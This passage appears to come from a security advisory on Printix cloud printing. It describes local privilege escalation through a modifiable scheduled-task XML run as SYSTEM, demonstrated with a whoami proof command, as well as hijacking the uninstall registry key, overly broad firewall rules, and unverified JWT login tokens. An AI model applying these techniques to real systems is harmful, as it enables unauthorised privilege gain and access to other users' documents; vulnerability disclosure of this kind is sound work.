&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-29" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-29" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-29"&gt;&lt;/a&gt;            &amp;lt;RestartOnIdle&amp;gt;false&amp;lt;/RestartOnIdle&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-30" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-30" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-30"&gt;&lt;/a&gt;        &amp;lt;/IdleSettings&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-31" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-31" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-31"&gt;&lt;/a&gt;        &amp;lt;AllowStartOnDemand&amp;gt;true&amp;lt;/AllowStartOnDemand&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-32" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-32" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-32"&gt;&lt;/a&gt;        &amp;lt;Enabled&amp;gt;true&amp;lt;/Enabled&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-33" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-33" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-33"&gt;&lt;/a&gt;        &amp;lt;Hidden&amp;gt;false&amp;lt;/Hidden&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-34" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-34" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-34"&gt;&lt;/a&gt;        &amp;lt;RunOnlyIfIdle&amp;gt;false&amp;lt;/RunOnlyIfIdle&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-35" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-35" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-35"&gt;&lt;/a&gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-36" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-36" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-36"&gt;&lt;/a&gt;&amp;lt;DisallowStartOnRemoteAppSession&amp;gt;false&amp;lt;/DisallowStartOnRemoteAppSession&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-37" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-37" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-37"&gt;&lt;/a&gt;        &amp;lt;UseUnifiedSchedulingEngine&amp;gt;true&amp;lt;/UseUnifiedSchedulingEngine&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-38" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-38" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-38"&gt;&lt;/a&gt;        &amp;lt;WakeToRun&amp;gt;false&amp;lt;/WakeToRun&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-39" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-39" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-39"&gt;&lt;/a&gt;        &amp;lt;ExecutionTimeLimit&amp;gt;PT1H&amp;lt;/ExecutionTimeLimit&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-40" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-40" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-40"&gt;&lt;/a&gt;        &amp;lt;Priority&amp;gt;1&amp;lt;/Priority&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-41" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-41" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-41"&gt;&lt;/a&gt;    &amp;lt;/Settings&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-42" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-42" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-42"&gt;&lt;/a&gt;    &amp;lt;Actions Context="Author"&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-43" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-43" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-43"&gt;&lt;/a&gt;        &amp;lt;Exec&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-44" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-44" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-44"&gt;&lt;/a&gt;            &amp;lt;Command&amp;gt;cmd&amp;lt;/Command&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-45" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-45" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-45"&gt;&lt;/a&gt;            &amp;lt;Arguments&amp;gt;/c "netsh start PrintixService"&amp;lt;/Arguments&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-46" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-46" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-46"&gt;&lt;/a&gt;        &amp;lt;/Exec&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-47" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-47" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-47"&gt;&lt;/a&gt;    &amp;lt;/Actions&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-48" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-48" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-48"&gt;&lt;/a&gt;&amp;lt;/Task&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The command will be executed by the Printix Windows service, which runs as &lt;code class="docutils literal"&gt;SYSTEM&lt;/code&gt; user. For testing purposes, the command section of the XML file was changed to only write the name of the user running the command itself into a text file located at &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;C:\temp\output.txt&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_65e426baae11418e803b9290e8e50404-1" name="rest_code_65e426baae11418e803b9290e8e50404-1" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_65e426baae11418e803b9290e8e50404-1"&gt;&lt;/a&gt;&amp;lt;Exec&amp;gt;
&lt;a id="rest_code_65e426baae11418e803b9290e8e50404-2" name="rest_code_65e426baae11418e803b9290e8e50404-2" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_65e426baae11418e803b9290e8e50404-2"&gt;&lt;/a&gt;    &amp;lt;Command&amp;gt;c:\windows\system32\cmd&amp;lt;/Command&amp;gt;
&lt;a id="rest_code_65e426baae11418e803b9290e8e50404-3" name="rest_code_65e426baae11418e803b9290e8e50404-3" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_65e426baae11418e803b9290e8e50404-3"&gt;&lt;/a&gt;    &amp;lt;Arguments&amp;gt;/c "whoami &amp;gt; c:\temp\output.txt"&amp;lt;/Arguments&amp;gt;
&lt;a id="rest_code_65e426baae11418e803b9290e8e50404-4" name="rest_code_65e426baae11418e803b9290e8e50404-4" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_65e426baae11418e803b9290e8e50404-4"&gt;&lt;/a&gt;&amp;lt;/Exec&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After restarting the Printix service another time, and stopping it afterwards to make sure any open file handles are closed and flushed, the new file appears as expected, with the following contents.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;C:\temp\output.txt&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_b3f2b088f07e42b89c389ce8e549bb3c-1" name="rest_code_b3f2b088f07e42b89c389ce8e549bb3c-1" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_b3f2b088f07e42b89c389ce8e549bb3c-1"&gt;&lt;/a&gt;nt authority\system
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This confirmes that the command listed in the XML file is executed as &lt;code class="docutils literal"&gt;SYSTEM&lt;/code&gt; user.
As a result, a regular user is able to run commands with higher then intended privileges.
The only problem an attacker has, is that a regular user is not able to restart a service at will.
However, if this attack is performed on a physical machine, it would be possible to achieve
the service restart by restarting Windows or power cycling the whole machine.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="abusing-the-uninstall-related-registry-keys"&gt;
&lt;h5&gt;1.2 Abusing the uninstall related registry keys&lt;/h5&gt;
&lt;p&gt;Another problem appears in the registry keys responsible for uninstalling parts of the Printix application.
One of the keys is present at &lt;code class="docutils literal"&gt;HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Uninstall/printix&lt;/code&gt;.
This key is not write-protected, allowing any user to add new entries to it, and changing the behaviour of the uninstallation procedure of Printix.
If an attacker, for example, switches the value of the existing entry &lt;code class="docutils literal"&gt;SystemComponent&lt;/code&gt; from 1 to 0 and
adds a new entry called &lt;code class="docutils literal"&gt;DisplayName&lt;/code&gt;, a new item would appear in the Programs and Features section of the Windows Control Panel application.&lt;/p&gt;
&lt;p&gt;If the attacker further modifies the registry and changes the existing entry &lt;code class="docutils literal"&gt;UninstallString&lt;/code&gt; to the path of a binary under their control, the malicious binary would get executed if an administrator decides to uninstall the software.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h4&gt;Precondition&lt;/h4&gt;
&lt;p&gt;An attacker has access to the system, modifies the mentioned registry keys and is able to inject their own malicious binaries, that are written in a way that the anti-malware solution in use is not able to detect them.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="opened-ports-by-printix"&gt;
&lt;h3&gt;2. Opened ports by Printix&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1, 0.0 Information&lt;/pre&gt;
&lt;p&gt;The default installation of Printix on Windows configures the Windows Firewall to open multiple
ports, but does not limit the rules to a specific application.&lt;/p&gt;
&lt;section id="impact-2"&gt;
&lt;h4&gt;Impact&lt;/h4&gt;
&lt;p&gt;An attacker could utilise the whitelisted outbound and inbound ports for establishing new connections to servers under their control and potentially use it for data exfiltration.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-1"&gt;
&lt;h4&gt;Technical details&lt;/h4&gt;
&lt;p&gt;The printix.net application is installed in &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;C:\Program&lt;/span&gt; Files\printix.net\Printix Client&lt;/code&gt; and contains a batch script called &lt;code class="docutils literal"&gt;open_firewall.cmd&lt;/code&gt; that configures the Windows Firewall to allow communication to and from the Printix Client to services outside the local system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source&lt;/strong&gt;: &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;C:\Program&lt;/span&gt; Files\printix.net\Printix Client\open_firewall.cmd&lt;/code&gt;&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-1" name="rest_code_310a10424d8f4a339fdcdcbb35065896-1" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-1"&gt;&lt;/a&gt;@ECHO *************************************************
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-2" name="rest_code_310a10424d8f4a339fdcdcbb35065896-2" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-2"&gt;&lt;/a&gt;@ECHO * Delete Printix Client inbound ports
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-3" name="rest_code_310a10424d8f4a339fdcdcbb35065896-3" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-3"&gt;&lt;/a&gt;@ECHO *************************************************
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-4" name="rest_code_310a10424d8f4a339fdcdcbb35065896-4" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-4"&gt;&lt;/a&gt;netsh advfirewall firewall delete rule name="Printix SNMP, UDP"
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-5" name="rest_code_310a10424d8f4a339fdcdcbb35065896-5" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-5"&gt;&lt;/a&gt;netsh advfirewall firewall delete rule name="Printix PDP, UDP"
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-6" name="rest_code_310a10424d8f4a339fdcdcbb35065896-6" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-6"&gt;&lt;/a&gt;netsh advfirewall firewall delete rule name="Printix Raw Print , TCP"
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-7" name="rest_code_310a10424d8f4a339fdcdcbb35065896-7" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-7"&gt;&lt;/a&gt;netsh advfirewall firewall delete rule name="Printix Jobforward, TCP"
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-8" name="rest_code_310a10424d8f4a339fdcdcbb35065896-8" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-8"&gt;&lt;/a&gt;netsh advfirewall firewall delete rule name="Printix Redirector, TCP"
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-9" name="rest_code_310a10424d8f4a339fdcdcbb35065896-9" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-9"&gt;&lt;/a&gt;netsh advfirewall firewall delete rule name="Printix Task Manager, TCP"
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-10" name="rest_code_310a10424d8f4a339fdcdcbb35065896-10" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-10"&gt;&lt;/a&gt;netsh advfirewall firewall delete rule name="Printix UI Communication, TCP"
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-11" name="rest_code_310a10424d8f4a339fdcdcbb35065896-11" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-11"&gt;&lt;/a&gt;netsh advfirewall firewall delete rule name="Printix IPP Print, TCP"
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-12" name="rest_code_310a10424d8f4a339fdcdcbb35065896-12" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-12"&gt;&lt;/a&gt;
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-13" name="rest_code_310a10424d8f4a339fdcdcbb35065896-13" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-13"&gt;&lt;/a&gt;@ECHO *************************************************
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-14" name="rest_code_310a10424d8f4a339fdcdcbb35065896-14" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-14"&gt;&lt;/a&gt;@ECHO * Adding Printix Client inbound ports
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-15" name="rest_code_310a10424d8f4a339fdcdcbb35065896-15" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-15"&gt;&lt;/a&gt;@ECHO *************************************************
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-16" name="rest_code_310a10424d8f4a339fdcdcbb35065896-16" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-16"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix PDP, UDP" protocol=UDP dir=in localport=21337 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-17" name="rest_code_310a10424d8f4a339fdcdcbb35065896-17" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-17"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix Jobforward, TCP" protocol=TCP dir=in localport=21335 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-18" name="rest_code_310a10424d8f4a339fdcdcbb35065896-18" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-18"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix Redirector, TCP" protocol=TCP dir=in localport=21336 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-19" name="rest_code_310a10424d8f4a339fdcdcbb35065896-19" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-19"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix UI Communication, TCP" protocol=TCP dir=in localport=21338 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-20" name="rest_code_310a10424d8f4a339fdcdcbb35065896-20" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-20"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix IPP Print, TCP" protocol=TCP dir=in localport=21339 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-21" name="rest_code_310a10424d8f4a339fdcdcbb35065896-21" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-21"&gt;&lt;/a&gt;
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-22" name="rest_code_310a10424d8f4a339fdcdcbb35065896-22" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-22"&gt;&lt;/a&gt;@ECHO **************************************************
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-23" name="rest_code_310a10424d8f4a339fdcdcbb35065896-23" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-23"&gt;&lt;/a&gt;@ECHO * Adding Printix Client outbound ports
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-24" name="rest_code_310a10424d8f4a339fdcdcbb35065896-24" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-24"&gt;&lt;/a&gt;@ECHO **************************************************
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-25" name="rest_code_310a10424d8f4a339fdcdcbb35065896-25" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-25"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix SNMP, UDP" protocol=UDP dir=out localport=161 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-26" name="rest_code_310a10424d8f4a339fdcdcbb35065896-26" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-26"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix PDP, UDP" protocol=UDP dir=out localport=21337 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-27" name="rest_code_310a10424d8f4a339fdcdcbb35065896-27" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-27"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix Raw Print , TCP" protocol=TCP dir=out localport=9100 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-28" name="rest_code_310a10424d8f4a339fdcdcbb35065896-28" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-28"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix Jobforward, TCP" protocol=TCP dir=out localport=21335 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-29" name="rest_code_310a10424d8f4a339fdcdcbb35065896-29" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-29"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix Redirector, TCP" protocol=TCP dir=out localport=21336 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-30" name="rest_code_310a10424d8f4a339fdcdcbb35065896-30" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-30"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix UI Communication, TCP" protocol=TCP dir=out localport=21338 action=allow
&lt;a id="rest_code_310a10424d8f4a339fdcdcbb35065896-31" name="rest_code_310a10424d8f4a339fdcdcbb35065896-31" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_310a10424d8f4a339fdcdcbb35065896-31"&gt;&lt;/a&gt;netsh advfirewall firewall add rule name="Printix IPP Print, TCP" protocol=TCP dir=out localport=21339 action=allow
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The script seems to have been run during the standard installation on the tested device
as the configured rules can also be seen when checking Windows Firewall settings.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-1"&gt;
&lt;h4&gt;Precondition&lt;/h4&gt;
&lt;p&gt;An attacker has access to the system and is able to run an application to communicate through one of the opened ports
without being detected by an installed Antivirus application.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="incomplete-jwt-validation-allows-receiving-printed-documents-of-other-users"&gt;
&lt;h3&gt;3. Incomplete JWT validation allows receiving printed documents of other users&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, 6.5 Medium&lt;/pre&gt;
&lt;p&gt;The login mechanism to Printix via the Printix Client is not verifying the signature of a JSON Web Token (JWT) that is used to transmit data to the server.
That enables tampering of the data that is sent, such as which user is being logged in. Printix uses user-specified data to construct a Windows Registry path for storing printing-related configuration.&lt;/p&gt;
&lt;section id="impact-3"&gt;
&lt;h4&gt;Impact&lt;/h4&gt;
&lt;p&gt;A manipulated user information in the JWT leads to a manipulated Windows registry path. An attacker can use this vulnerability to modify printer configuration and to receive printed documents of other users.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-2"&gt;
&lt;h4&gt;Technical details&lt;/h4&gt;
&lt;p&gt;Printix is a cloud printing solution that was installed on endpoints in a tested environment. Users could sign into Printix using their Microsoft accounts by clicking onto the system tray icon of Printix and then selecting the Sign in button.&lt;/p&gt;
&lt;p&gt;When doing that, a browser window is opened for the URL &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;sign-in.printix.net&lt;/span&gt;&lt;/code&gt;. Several URL parameters are added as well, with one of them being a JSON Web Token as shown below.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source&lt;/strong&gt;: Example login URL&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_10cf17d5678748d7964766af179f66b4-1" name="rest_code_10cf17d5678748d7964766af179f66b4-1" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_10cf17d5678748d7964766af179f66b4-1"&gt;&lt;/a&gt;https://auth.printix.net/oauth/authorize/tenant/&amp;lt;tenant_id&amp;gt;?response_type=code&amp;amp;client_id=PrintixClient&amp;amp;client_secret=&amp;lt;secret&amp;gt;&amp;amp;state=&amp;lt;username&amp;gt;&amp;amp;redirect_uri=http
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Source&lt;/strong&gt;: Decoded JWT Content&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_8f85411862c74c40ab143bf346221bf4-1" name="rest_code_8f85411862c74c40ab143bf346221bf4-1" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_8f85411862c74c40ab143bf346221bf4-1"&gt;&lt;/a&gt;{
&lt;a id="rest_code_8f85411862c74c40ab143bf346221bf4-2" name="rest_code_8f85411862c74c40ab143bf346221bf4-2" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_8f85411862c74c40ab143bf346221bf4-2"&gt;&lt;/a&gt; "tenantID": "&amp;lt;tenant_id&amp;gt;",
&lt;a id="rest_code_8f85411862c74c40ab143bf346221bf4-3" name="rest_code_8f85411862c74c40ab143bf346221bf4-3" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_8f85411862c74c40ab143bf346221bf4-3"&gt;&lt;/a&gt; "state": "user2",
&lt;a id="rest_code_8f85411862c74c40ab143bf346221bf4-4" name="rest_code_8f85411862c74c40ab143bf346221bf4-4" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_8f85411862c74c40ab143bf346221bf4-4"&gt;&lt;/a&gt; "prompt": "login",
&lt;a id="rest_code_8f85411862c74c40ab143bf346221bf4-5" name="rest_code_8f85411862c74c40ab143bf346221bf4-5" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_8f85411862c74c40ab143bf346221bf4-5"&gt;&lt;/a&gt; "client_id": "PrintixClient",
&lt;a id="rest_code_8f85411862c74c40ab143bf346221bf4-6" name="rest_code_8f85411862c74c40ab143bf346221bf4-6" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_8f85411862c74c40ab143bf346221bf4-6"&gt;&lt;/a&gt; "SPRING_SECURITY_SAVED_REQUEST": {
&lt;a id="rest_code_8f85411862c74c40ab143bf346221bf4-7" name="rest_code_8f85411862c74c40ab143bf346221bf4-7" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_8f85411862c74c40ab143bf346221bf4-7"&gt;&lt;/a&gt;     "requestUrl": "https:\/\/auth.printix.net:443\/oauth\/authorize\/tenant\/&amp;lt;tenant_id&amp;gt;?response_type=code&amp;amp;client_id=PrintixClient&amp;amp;client_secret=1234&amp;amp;state=user2&amp;amp;redirect_uri=http:\/\/localhost:21339\/oauth\/authorize&amp;amp;prompt=login",
